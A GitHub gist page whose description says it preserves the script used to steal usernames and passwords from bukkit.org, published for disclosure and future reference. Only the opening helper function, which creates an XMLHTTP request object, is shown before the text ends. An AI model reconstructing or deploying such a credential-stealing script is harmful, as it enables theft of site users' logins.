Skip to content

Instantly share code, notes, and snippets.

View MaxKorlaar's full-sized avatar
🏠
Working from 🏡

Max Korlaar MaxKorlaar

🏠
Working from 🏡
View GitHub Profile
@MaxKorlaar
MaxKorlaar / Bukkit.org credentials script.js
Last active August 8, 2016 17:06
This was the script that was used to steal passwords and usernames on bukkit.org, one of Curse's sites. Since they didn't disclose it at the time I wrote my blog post, I published it here for future reference.
function getXmlHttp() {
try {
return new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
return new ActiveXObject("Microsoft.XMLHTTP");
}
catch (ee) {
}